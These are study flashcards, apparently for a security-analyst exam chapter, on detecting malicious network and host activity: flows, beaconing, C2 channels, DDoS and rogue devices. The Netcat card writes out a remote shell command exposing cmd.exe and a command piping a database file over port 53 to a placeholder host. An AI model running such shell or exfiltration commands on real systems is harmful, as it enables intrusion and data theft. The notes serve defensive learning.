Chapter 03: Malicious Activity Flashcards
Router-Based Monitoring
Relies on routers or switches with routing capabilities to provide information about the flow of traffic on the network and the status of the network device itself
Also relies on capturing data about the traffic that’s passing through the device, which is referred to as network flows
NetFlow, sFlow, J-Flow
Standard technologies for monitoring that capture flows and other router information
They record information about traffic at network device interfaces and then send that information to flow collectors
Flows are often sampled due to the sheer volume of data collected—usually 1 in 100 packets are sampled
SNMP
Simple Network Management Protocol (Port 161/162)
Commonly used to collect information from routers and other network devices
Provide more information about the devices themselves vs the network traffic flow info provided by flow-capture protocols
Flow Information Structure
You can see:
* Source IP
* Destination IP
* How many packets were sent
* How much data was sent
* Port and protocol used
You can feed flow information through a SIEM that uses beahvior-based detection capabilities to find issues like unexpected comms to C2 systems
Page 81 diagram
Active Monitoring
Techniques that reach out to remote systems and devices to gather data
Unlike flows and SNMP monitoring, where data is gathered by sending information to collectors, active monitors are typically the data gathering location
Sometimes they might forward the information to a collector though
Active monitoring gathers data about:
* Availability
* Routes
* Packet delay
* Packet loss
* Bandwidth
EX: ping and iPerf
iPerf
A tool that measures the maximum bandwidth that an IP network can handle
Public iPerf servers allow remote testing of link bandwidth in addition to internal bandwidth testing
iPerf testing data can help establish a baseline for performance to help identify when a network will reach its useful limits
Passive Monitoring
Capturing information about the network as traffic pases a location on a network link
EX: A network tap can send a copy of all traffic between endpoints to a passive monitoring capture system for review
Unlike active and router-based monitoring, passive doesn’t add additional traffic to the network
Performs after-the-fact analysis since packets must be captures and analyzed vs recorded in real time as they’re sent
Bandwidth Consumption
Serious concern for analysts that can cause serivce outages and disruptions of business functions
Typically, the network will be configured to use logging and monitoring methods that fit its security, design, and monitoring requirements
All that data will be send to a central system that can provide bandwidth usage alarms
Beaconing
Malicious beaconing usually takes the form of a simple ping or “heartbeat” that’s sent to a C2 system as part of a botnet or malware remote control system, typically through HTTP/S
Beaconing can request commands, provide status, download additional malware, etc
Since it’s often encrypted, it blends in with other web traffic and can be difficult to identify
NOTE:
* Beaconing is not always malicious
* NTP servers, auto update systems, cluster services, etc
* These all send out beacons to let other services know they’re there and ready to support
* Always ask: is this malicious or is this authorized?
How Attackers Hide Beaconing
* Jitter: The use of a random delay to frustrate indicators based on regular connection attempt intervals
* Sparse Delivery: Reduced packet size that allows them to hide within the noise of other traffic
How Beacons Get Sent
IRC
* Not a need for IRC in most businesses, so it’s usually just turned off
HTTP/S
* Necessary for day to day work everywhere
* Your mitigation is to use an intercepting proxy at the network’s edge
* When somebody internal to your network wants to connect to something like Gmail over a secure connection, they connect to proxy first, which then makes secure connection to Gmail
* Defenders can analyze all traffic in and out using the HTTP/S connections
DNS
* Most DNS traffic isn’t inspected or filtered
* Don’t need a direct connection to the outside network and can use a local DNS resolver
* IoC 1: Several queries being repeated when a bot is checking into a C2 for more orders
* IoC 2: Commands sent within a DNS request or response query will be longer and more complicated than normal, but attackers will sometimes break their C2 messages into several different query chunks to avoid detection
Social Media
* People use social for messaging, and these messaging functions allow attackers to live off the land
* LinkedIn: Status updates from bots on LinkedIn would trigger malware signals
* Twitter: Hashtags would be used as part of the commands sent to bots
Cloud Services
* Attackers can spin up virtual machines or use app-based engines to send C2 messages
* Google’s App Engine platform or AWS Lambda has been used in the past
Metadata
* Exists within media and other files
* A set of data that describes and gives information about other data
* Metadata embedded in files can hold attacker’s C2 message
How to Detect Beaconing Activity
Capture Metadata
* About all the sessions that are being established or trying to make connections
* Correlate that with analysis
IDS / IPS
* Use detection rules that identify known botnet controllers or botnet-specific behaviors
Flow Analysis
* Or other traffic-monitoring tools to ensure that systems aren’t sending unexpected traffic
Inspecting Outbound Traffic
* To ensure that infected systems aren’t resident in your network is just as important as the controls handling inbound traffic
Page 84 + 85 diagram
Unexpected Traffic Spikes
Unexpected traffic on a network can take many forms:
* Scans
* Sweeps
* Probes
* Irregular P2P traffic between systems that aren’t expected to communicate directly
* Spikes in network traffic
* Activity on unexpected ports
* Direct attack traffic
How to Detect Unexpected Traffic
Behavior-based detection capabilities with IDS / IPS
Traffic-monitoring systems
Manually observing traffic between systems
Anomaly-Based Detection
AKA Baselines
Requires knowledge of what normal traffic is and looks like
Baselines are typically gathered during normal network operations
Once baseline data is gathered, monitoring systems can be set to alarm when the baselines are exceeded by a given threshold or when network behavior deviates from the baseline behaviors that were documented
Behavior-Based Detection
AKA Heuristics
Uses network security devices and defined rules for scans, sweeps, attack traffic, and other network issues
Protocol Analysis
Using a protocol analyzer to capture packets and check for problems
Protocol analyzers can help find unexpected traffic, like VPN traffic in a network where no VPN traffic should exist, or IPv6 tunnels running from an IPv4 production network
They can also identify when common protocols are being sent over an uncommon port, possibly indicating an attacker setting up an alternate service port
How to Detect Scans, Sweeps, and Probes
These aren’t always significant threats to infrastructure by themselves, but they’re often precursors to more focused attacks
Detecting scans and probes is relatively simple, because of the behaviors they include like:
* Sequential testing of service ports
* Connecting to many IPs in a network
* Repeated requests to services that might not be active
Detecting stealth scans can be more challenging, but most IDS/IPS and other network security devices have built in scan detection capabilities
Enabling these features can create a lot of noise though, and sometimes you simply can’t do anything about a scan
Many orgs will feed their scan-related data into their SIEM to combine it with data from attacks and other events vs responding to scans and probes directly
Activity on Unexpected Ports
This is due to one of two things:
- Scans and sweeps attempting to connect to ports and services
- Traffic to and from unexpected or new services set up by attackers
Always keep in mind that activity on unexpected ports could be either scenario, so look for additional context that can narrow it down
Malware and Ports
* There’s no comprehensive list of ports used by malware
* Every malware writer can decide what ports they want to use
* If an unknown open dynamic port (49152-65535) appears to be constantly open on a host, it may indicate a malicious traffic channel
* Nonstandard port usage, like HTTP, FTP, or DNS over a port that’s not the well-known port established for that protocol, it’s suspicious and worth investigating
* Mismatched port/application traffic where non-standard traffic is communicated over well-known or registered port
Mitigations
* Configure firewalls to allow only whitelisted ports to communicate on ingress and egress interfaces
* Configuration documentation should also show which server ports are allowed on any given host type
* Configure detection rules to detect mismatched protocol usage over a standard port
Netcat
* Normal Shell: Listener being set up inside the network on the victim
* Reverse Shell: Listener set up on the attacker’s machine making victim connect to them
* nc -lp 443 -e cmd.exe / nc IP 443
* This gives you a command prompt on the remote machine
* nc -lp 53 > database.sql
* Anything nc receives while listening over port 53 is put into the .sql file
* type database.sql | nc IP 53
* Pipe the type command to nc, which puts it on the listening IP at the port
DoS Attack Patterns
DoS attacks follow one or more of the following patterns:
- Attempts to overwhelm a network or service through the sheer volume of requests or traffic
- Attacks on a specific service or system vulnerability to cause the system or service to fail
- Attacks on an intermediary system or network to prevent traffic from making it between two locations
Each one of these patterns requires a slightly different method of detection
Your network, system, and service monitoring capabilities need to be set up to monitor for multiple types of attacks depending on your infrastructure
A DoS from a single system or network can typically be stopped by blocking that system or network using a firewall or other network security device
IPS can also block known attack traffic, preventing a DoS from occurring
DDoS Attack Patterns
DDoS attacks come from many systems or networks at the same time
They can be harder to detect due to the traffic coming from many places, which makes it look more legitimate and makes it much harder to stop
Many DDoS attacks are made up of compromised systems in botnets, allowing attackers to send traffic from hundreds or thousands of systems
Detecting DoS and DDoS
You have to use multiple types of tools and monitoring systems like:
* Performance monitoring using service preformance monitoring tools
* Connection monitoring using local system or application logs
* Network bandwidth or system bandwidth monitoring (MB, GB, or TB per second)
* Dedicated tools like IDS or IPS with DoS and DDoS detection rules enabled
During response, the CLI tools can be used to analyze network traffic—like netstat—can help with troubleshooting on local servers
A view from the network or service perspective will typically provide a broader view of the issue
An unexpected surge in traffic from internet hosts could be an indication of an ongoing DDoS, but this must be backed up with other factors to verify:
* Excessive number of TIME_WAIT connections in a load balancer or web server’s state table
* High number of HTTP 503 Service Unavailable log events
* Large amounts of outbound traffic from the network can indicate that you have zombies in a botnet that are being used in a DDoS against others
Mitigating DDoS
* The Goal: Survive the DDoS attack
1. Conduct real-time log analysis to identify patterns of suspicious traffic and redirect it to a black hole or sinkhole
2. Use geolocation and IP reputation data to redirect or ignore suspicious traffic
3. Aggressively close slower connections by reducing the timeouts on affected servers
4. Use caching and backend infrastructure to offload processing to other servers
5. Utilize enterprise DDoS protection services like Cloudflare or Akamai
Detecting and Finding Rogue Devices
These are devices that are connected to your network, but shouldn’t be, either by policy or because they’ve been added by an attacker
Finding rogue devices can be challenging, since many networks have hundreds or thousands of devices and device management might not be consistent across the network
Still, you can use the following to help:
* Valid MAC Address Checking: Uses MAC address information provided to network devices to validate the hardware to a list of known devices
* MAC Address Vendor Information Checking: Identify devices based on the vendor prefix for their devices
* Network Scanning: Uses tools like nmap to identify new devices with banner grabbing or fingerprinting
* Site Surveys: Physically reviewing the devices at a site either by manual verification or checing wireless networks on-site
* Traffic Analysis: Identify irregular or unexpected behavior with packet sniffers
* Digital Certificates: On endpoints and servers to authenticate and encrypt traffic using IPSec or HTTPS
* NAC and IDS
Types of Rogue Devices
* Network taps
* WAPs
* Servers
* Wired or wireless clients
* Software
* VMs
* Smart appliances
Wired Rogues
Most wired rogues rely on open or unauthenticated networks to connect
Open networks without access controls like port security or NAC technology are easy targets for wired rogue devices
If you have one, it means one of two things has happened:
1. An employee or other trusted member of the org has connected a device, either without permission or without following the process required to do so
2. An attacker has connected a device to the network
In either case, respond to a wired rogue ASAP to remove it or handle is accordingly
To prevent them, you can restrict which devices can connect with port security or MAC address limiting tech, or NAC with required authentication to the network
NOTE: MAC addresses can be spoofed, so there’s no magic bullet here
Wireless Rogues
Wireless rogue devices can’t always be tracked easily to a specific physical location
You might have to use signal strength measures and mapping of an area to determein wher the rogue is
If the wireless rogue is on your network though, a port scan with OS identitication turned on can often help locate the device
Wireless rogues can also spoof legit networks in attempts to persuade users that they’re part of the network, often by overpowering legit APs
You can invest in enterprise wireless controllers that will detect interference, report it, and in some cases automatically overpower it
Processor Consumption and Monitoring
Understand what kind of processes consume CPU time, how much CPU utilization is occurring, and when the processes are running
Sudden spikes or increases in processor consumption can indicate new software or a process that was not previously active
Consistently high levels of CPU usage can also indicate DoS
This is a crucial part of montoring, incident detection, and response
Memory Consumption and Monitoring
Most OS level memory monitoring focuses on memory consumption rather than what’s stored in memory
Most protective measures for memory-based attacks occur as part of an OS built-in memory management or when code is compiled
Orgs will often set memory thresholds, which are alarms and notifications based on typical system memory usage during peak hours
Emergency levels and alarms will go off when a system or app is approaching an out-of-memory condition
Drive Capacity and Consumption Monitoring
This focuses on specific capacity levels and is intended to prevent the drive volume from filling up and causing an outage
Tools to monitor drive capacity consumption are available on all major OS
Filesystem Changes and Anomalies
Monitoring for filesystem changes in real time can catch attacks as they occur
You can use tools like:
* Wazuh: Open source, provides file integrity monitoring on files, permissions, ownership, and attributes—sends alerts based on its monitoring
* Tripwire: Commercial and open source
* AIDE: Advanced Intrustion Detection Environment, commercial
Manual verification of files using known good checksums is also part of many incident responders’ practices
NSRL (National Software Reference Library) collects digital signatures to allow verification against known checksums
System Resource Monitoring Tools
Windows has built in resource and performance monitoring tools: resmon and perfmon
Resmon:
* Provides easy visibility into the CPU, memory, disk, and network utilization of a system
* Network monitoring capability shows processes with network activity, which TCP connections are open, and what services are associated with open ports on the system
Perfmon:
* More detailed data with counters ranging from energy usage to disk and network activity
* Supports collection from remote systems